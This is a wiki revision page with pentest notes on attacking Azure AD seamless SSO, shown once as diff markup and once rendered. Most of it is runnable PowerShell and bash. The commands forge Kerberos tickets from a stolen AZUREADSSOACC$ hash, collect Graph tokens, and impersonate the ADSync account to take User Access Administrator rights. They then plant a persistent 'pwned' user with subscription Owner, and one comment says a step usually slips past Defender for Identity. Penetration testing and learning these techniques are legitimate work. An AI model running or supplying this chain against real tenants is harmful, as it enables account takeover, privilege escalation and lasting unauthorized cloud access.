Handbook III - Cloud: Difference between revisions
From Wiki Aghanim
Jump to navigationJump to search
No edit summary |
|||
| (2 intermediate revisions by the same user not shown) | |||
| Line 12: | Line 12: | ||
[[Category:Handbooks]] | [[Category:Handbooks]] | ||
== Azure Administrative Tiering (AzTier) == | |||
https://aztier.com/ | |||
== Azure AD Kerberos SSO Attack — Pentest Notes == | |||
=== Prerequisites === | |||
* Domain Admin / DC access | |||
* <code>AZUREADSSOACC$</code> NTLM hash extracted via SecretsDump | |||
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access) | |||
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient | |||
=== Tool Installation === | |||
<syntaxhighlight lang="powershell"> | |||
Install-Module -Name "AADInternals" | |||
Install-Module -Name "AADInternals-Endpoints" | |||
Import-Module -Name "AADInternals" | |||
</syntaxhighlight> | |||
<syntaxhighlight lang="bash"> | |||
pip install roadrecon --break-system-packages | |||
</syntaxhighlight> | |||
=== Step 1 — Confirm SSO Enabled === | |||
<syntaxhighlight lang="powershell"> | |||
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table | |||
# Look for DesktopSSO: True | |||
</syntaxhighlight> | |||
=== Step 2 — Enumerate Accounts via rpcclient === | |||
<syntaxhighlight lang="bash"> | |||
# If you don't have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity. | |||
rpcclient -U "domain/user%password" <DC_IP> | |||
enumdomusers | |||
lookupnames <username> | |||
</syntaxhighlight> | |||
=== Step 3 — Forge Kerberos Ticket === | |||
<syntaxhighlight lang="powershell"> | |||
# NTLM hash = NT part only (32 chars after last colon from SecretsDump) | |||
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX | |||
# Use SID for a user that is synced between Azure AD and local Active Directory. | |||
$kerberos = New-AADIntKerberosTicket -SidString "<AD_SID>" -Hash "<NTLM_Hash>" | |||
</syntaxhighlight> | |||
=== Step 4 — Get Access Tokens === | |||
'''Important: each tool needs a different token audience''' | |||
{| class="wikitable" | |||
! Tool !! Audience !! AADInternals Command | |||
|- | |||
| roadrecon gather || <code>https://graph.windows.net</code> || <code>Get-AADIntAccessTokenForAADGraph</code> | |||
|- | |||
| Connect-MgGraph / Get-MgUser || <code>https://graph.microsoft.com</code> || <code>Get-AADIntAccessTokenForMSGraph</code> | |||
|- | |||
| Azure Core Management || <code>https://management.core.windows.net/</code> || <code>Get-AADIntAccessTokenForAzureCoreManagement</code> | |||
|} | |||
<syntaxhighlight lang="powershell"> | |||
# Get all three and save to cache | |||
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache | |||
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache | |||
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache | |||
</syntaxhighlight> | |||
=== Step 5 — Enumerate Azure AD with ROADrecon === | |||
<syntaxhighlight lang="bash"> | |||
roadrecon auth --access-token <AADGraph_token> | |||
roadrecon gather -f .roadtools_auth | |||
roadrecon gui # Web UI on port 5000 — ensure attack box is not on public IP | |||
</syntaxhighlight> | |||
=== Step 6 — Connect Microsoft Graph & Check Context === | |||
<syntaxhighlight lang="powershell"> | |||
# Connect using MSGraph token | |||
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com | |||
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force) | |||
# Check current session context and user | |||
$me = Get-MgContext | |||
Write-Output $me | |||
# List all scopes/permissions granted to the token | |||
(Get-MgContext).Scopes | |||
</syntaxhighlight> | |||
=== Step 7 — Check Token Permissions === | |||
<syntaxhighlight lang="powershell"> | |||
# Decode token — check scp, roles, wids, aud, upn claims | |||
Read-AADIntAccessToken -AccessToken <token> | |||
</syntaxhighlight> | |||
Decode at '''jwt.ms''' for a clean readable view. | |||
{| class="wikitable" | |||
! Claim !! Meaning | |||
|- | |||
| <code>scp</code> || Delegated scopes e.g. Directory.Read.All | |||
|- | |||
| <code>roles</code> || Application role assignments | |||
|- | |||
| <code>wids</code> || Directory role GUIDs (Global Admin etc.) | |||
|- | |||
| <code>aud</code> || Which API this token is valid for | |||
|- | |||
| <code>upn</code> || Which user this token belongs to | |||
|} | |||
=== Step 8 — Escalate to Global Admin === | |||
<syntaxhighlight lang="powershell"> | |||
# Impersonate ADSync account (high value — has directory sync rights by design) | |||
$kerberos = New-AADIntKerberosTicket -SidString "<ADSync_SID>" -Hash "<NTLM_Hash>" | |||
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache | |||
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache | |||
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache | |||
# Elevate to User Access Administrator at root scope | |||
Grant-AADIntAzureUserAccessAdminRole | |||
# Verify subscription access | |||
Get-AADIntAzureSubscriptions | |||
</syntaxhighlight> | |||
=== Step 9 — Create Persistent Cloud User === | |||
<syntaxhighlight lang="powershell"> | |||
# Note the ObjectID in the output | |||
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName "pwned user" | |||
# Assign subscription ownership | |||
$subScope = "subscriptions/<subscription_id>" | |||
New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope | |||
</syntaxhighlight> | |||
[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud Source] | |||
Latest revision as of 08:44, 26 May 2026
Entra ID (Azure)
Certification: Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)
Microsoft Entra ID on Microsoft Learn | Microsoft Learn
- How to use Graph API for C2 communication
Azure Administrative Tiering (AzTier)
Azure AD Kerberos SSO Attack — Pentest Notes
Prerequisites
- Domain Admin / DC access
AZUREADSSOACC$NTLM hash extracted via SecretsDump- Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)
- Tools: AADInternals, ROADtools, SecretsDump, rpcclient
Tool Installation
Install-Module -Name "AADInternals"
Install-Module -Name "AADInternals-Endpoints"
Import-Module -Name "AADInternals"
pip install roadrecon --break-system-packages
Step 1 — Confirm SSO Enabled
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table
# Look for DesktopSSO: True
Step 2 — Enumerate Accounts via rpcclient
# If you don't have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity.
rpcclient -U "domain/user%password" <DC_IP>
enumdomusers
lookupnames <username>
Step 3 — Forge Kerberos Ticket
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
# Use SID for a user that is synced between Azure AD and local Active Directory.
$kerberos = New-AADIntKerberosTicket -SidString "<AD_SID>" -Hash "<NTLM_Hash>"
Step 4 — Get Access Tokens
Important: each tool needs a different token audience
| Tool | Audience | AADInternals Command |
|---|---|---|
| roadrecon gather | https://graph.windows.net |
Get-AADIntAccessTokenForAADGraph
|
| Connect-MgGraph / Get-MgUser | https://graph.microsoft.com |
Get-AADIntAccessTokenForMSGraph
|
| Azure Core Management | https://management.core.windows.net/ |
Get-AADIntAccessTokenForAzureCoreManagement
|
# Get all three and save to cache
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Step 5 — Enumerate Azure AD with ROADrecon
roadrecon auth --access-token <AADGraph_token>
roadrecon gather -f .roadtools_auth
roadrecon gui # Web UI on port 5000 — ensure attack box is not on public IP
Step 6 — Connect Microsoft Graph & Check Context
# Connect using MSGraph token
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)
# Check current session context and user
$me = Get-MgContext
Write-Output $me
# List all scopes/permissions granted to the token
(Get-MgContext).Scopes
Step 7 — Check Token Permissions
# Decode token — check scp, roles, wids, aud, upn claims
Read-AADIntAccessToken -AccessToken <token>
Decode at jwt.ms for a clean readable view.
| Claim | Meaning |
|---|---|
scp |
Delegated scopes e.g. Directory.Read.All |
roles |
Application role assignments |
wids |
Directory role GUIDs (Global Admin etc.) |
aud |
Which API this token is valid for |
upn |
Which user this token belongs to |
Step 8 — Escalate to Global Admin
# Impersonate ADSync account (high value — has directory sync rights by design)
$kerberos = New-AADIntKerberosTicket -SidString "<ADSync_SID>" -Hash "<NTLM_Hash>"
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache
# Elevate to User Access Administrator at root scope
Grant-AADIntAzureUserAccessAdminRole
# Verify subscription access
Get-AADIntAzureSubscriptions
Step 9 — Create Persistent Cloud User
# Note the ObjectID in the output
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName "pwned user"
# Assign subscription ownership
$subScope = "subscriptions/<subscription_id>"
New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope